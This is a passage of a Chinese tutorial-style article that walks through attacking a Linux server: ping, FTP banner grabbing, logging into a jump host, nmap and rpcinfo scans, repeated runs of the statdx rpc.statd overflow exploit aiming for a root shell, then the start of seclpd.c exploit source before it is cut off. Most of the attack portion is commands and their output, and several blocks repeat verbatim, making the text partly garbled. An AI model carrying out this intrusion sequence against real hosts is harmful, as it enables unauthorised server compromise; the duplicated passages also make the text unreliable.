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Linux服务器入侵实例分析与防范
2010-07-12 09:11:07      个评论      
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此文的目的不在于教人入侵Linux服务器,而是为了提高自身的技术和加强网络管理员的安全防范意识。仅此而已!粗心大意的网络管理员应该明白:由于你们一个小小的操作失误可能会导致整个网络全面沦陷!本文主要是围绕LPD:网络打印服务的攻击而进行的。
  首先确定目标,假设是:www.XXX.com
  先让俺看看是不是连得上:
以下是引用片段:
 C:ping www.XXX.com   Pinging www.XXX.com[202.106.184.200] with 32 bytes of data:   Reply from 202.106.184.200: bytes=32 time=541ms TTL=244   Reply from 202.106.184.200: bytes=32 time=620ms TTL=244   Reply from 202.106.184.200: bytes=32 time=651ms TTL=244   Reply from 202.106.184.200: bytes=32 time=511ms TTL=244   Ping statistics for 202.106.184.200:   Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),   Approximate round trip times in milli-seconds:   Minimum = 511ms, Maximum = 651ms, Average = 580ms   嘻嘻—不但连得上,速度还不错……   先telnet看看banner:   
C:>telnet www.XXX.com
遗失对主机的连接。
  再试试ftp,
以下是引用片段:C:>ftp www.XXX.com   Connected to www.fbi.gov.tw.   220 XXX-www FTP server (Version wu-2.6.1(1) Wed Aug 9 05:54:50 EDT 2000) ready.   User (www.XXX.com:(none)):
wu-2.6.1看来有点眉目了。这台机器像是RedHat7.0!首先必须确认一下,连上俺的跳板:
以下是引用片段: C:>telnet xxx.xxx.xxx.xxx   Red Hat Linux release 7.0 (Guinness)   Kernel 2.2.16-22smp on an i686   login: fetdog   Password:   bash-2.04$
拿nmap扫描器,看看其中的奥妙~~~
以下是引用片段: bash-2.04$nmap -sT -O www.XXX.com   Starting nmap V. 2.54BETA7 ( www.insecure.org/nmap/ )   WARNING! The following files exist and are readable: /usr/local/sha   -services and ./nmap-services. I am choosing /usr/local/share/nmap/   s for security reasons. set NMAPDIR=. to give priority to files in   irectory   Interesting ports on (www.XXX.com):   (The 1520 ports scanned but not shown below are in state: closed)   Port State Service   25/tcp open smtp   79/tcp open finger   80/tcp open http   111/tcp open sunrpc   113/tcp open auth   443/tcp open https   513/tcp open login   514/tcp open shell   515/tcp open printer   587/tcp open submission   1024/tcp open kdm   TCP Sequence Prediction: Class=random positive increments   Difficulty=3247917 (Good luck!)   Remote operating system guess: Linux 2.1.122 - 2.2.16   Nmap run completed -- 1 IP address (1 host up) scanned in 9 seconds
打开的端口还挺多,这意味着入侵的可能性增加。79/tcp open finger ,先看看这个,不过linux没有finger用户列表这个漏洞
以下是引用片段:
 bash-2.04$finger @www.XXX.com
  [www.XXX.com]
        No one logged on.
再看看111/tcp open sunrpc 。近来rpc漏洞风行,不知道RH7这个东东会不会有?先看看再说!
以下是引用片段:
 bash-2.04$rpcinfo -p www.XXX.com
  program vers proto port service
  100000 2 tcp 111 rpcbind
  100000 2 udp 111 rpcbind
  100021 1 udp 1024 nlockmgr
  100021 3 udp 1024 nlockmgr
  100024 1 udp 1025 status
        100024 1 tcp 1024 status
看来有rpc.statd服务。来看看能不能远程溢出拿个rootshell。
以下是引用片段:
 bash-2.04$./statdx -h
  statdx by ron1n
  Usage: stat [-t] [-p port] [-a addr] [-l len]
  [-o offset] [-w num] [-s secs] [-d type]
  -t attack a tcp dispatcher [udp]

  -p rpc.statd serves requests on [query]
  -a the stack address of the buffer is
  -l the length of the buffer is [1024]
  -o the offset to return to is [600]
  -w the number of dwords to wipe is [9]
  -s set timeout in seconds to [5]
  -d use a hardcoded
  Available types:
  0 RedHat 6.2 (nfs-utils-0.1.6-2)
  1 RedHat 6.1 (knfsd-1.4.7-7)
  2 RedHat 6.0 (knfsd-1.2.2-4)
  看来并不支持RH7。还是继续尝试,把0-2全部试试看再说!start……
  bash-2.04$stat -d 0 www.XXX.com
  buffer: 0xbffff314 length: 999 (+str/+nul)
  target: 0xbffff718 new: 0xbffff56c (offset: 600)
  wiping 9 dwords
  Failed - statd returned res_stat: (failure) state: 21
  受挫,再试……
  bash-2.04$stat -d 1 www.XXX.com
  buffer: 0xbffff314 length: 999 (+str/+nul)
  target: 0xbffff718 new: 0xbffff56c (offset: 600)
  wiping 9 dwords
  Failed - statd returned res_stat: (failure) state: 21
一样``继续
以下是引用片段:
 bash-2.04$finger @www.XXX.com
  [www.XXX.com]
        No one logged on.
再看看111/tcp open sunrpc 。近来rpc漏洞风行,不知道RH7这个东东会不会有?先看看再说!
以下是引用片段:
 bash-2.04$rpcinfo -p www.XXX.com
  program vers proto port service
  100000 2 tcp 111 rpcbind
  100000 2 udp 111 rpcbind
  100021 1 udp 1024 nlockmgr
  100021 3 udp 1024 nlockmgr
  100024 1 udp 1025 status
        100024 1 tcp 1024 status
看来有rpc.statd服务。来看看能不能远程溢出拿个rootshell。
以下是引用片段:
 bash-2.04$./statdx -h
  statdx by ron1n
  Usage: stat [-t] [-p port] [-a addr] [-l len]
  [-o offset] [-w num] [-s secs] [-d type]
  -t attack a tcp dispatcher [udp]
  -p rpc.statd serves requests on [query]
  -a the stack address of the buffer is
  -l the length of the buffer is [1024]
  -o the offset to return to is [600]
  -w the number of dwords to wipe is [9]
  -s set timeout in seconds to [5]
  -d use a hardcoded
  Available types:
  0 RedHat 6.2 (nfs-utils-0.1.6-2)
  1 RedHat 6.1 (knfsd-1.4.7-7)
  2 RedHat 6.0 (knfsd-1.2.2-4)
  看来并不支持RH7。还是继续尝试,把0-2全部试试看再说!start……
  bash-2.04$stat -d 0 www.XXX.com
  buffer: 0xbffff314 length: 999 (+str/+nul)
  target: 0xbffff718 new: 0xbffff56c (offset: 600)
  wiping 9 dwords
  Failed - statd returned res_stat: (failure) state: 21
  受挫,再试……
  bash-2.04$stat -d 1 www.XXX.com
  buffer: 0xbffff314 length: 999 (+str/+nul)
  target: 0xbffff718 new: 0xbffff56c (offset: 600)
  wiping 9 dwords
  Failed - statd returned res_stat: (failure) state: 21
一样``继续
以下是引用片段:
 bash-2.04$stat -d 1 www.XXX.com
  buffer: 0xbffff314 length: 999 (+str/+nul)
  target: 0xbffff718 new: 0xbffff56c (offset: 600)
  wiping 9 dwords
        Failed - statd returned res_stat: (failure) state: 21
rpc.statd行不通,想想RH7应该有个远程溢出,好像是lp服务造成的。“seclpd.c”应该是这个东东了。
  —————以下代码仅供教学使用,决不能用来进行恶意攻击—————
  
以下是引用片段:
 /*
  * Welcome to http://hlc.cnro

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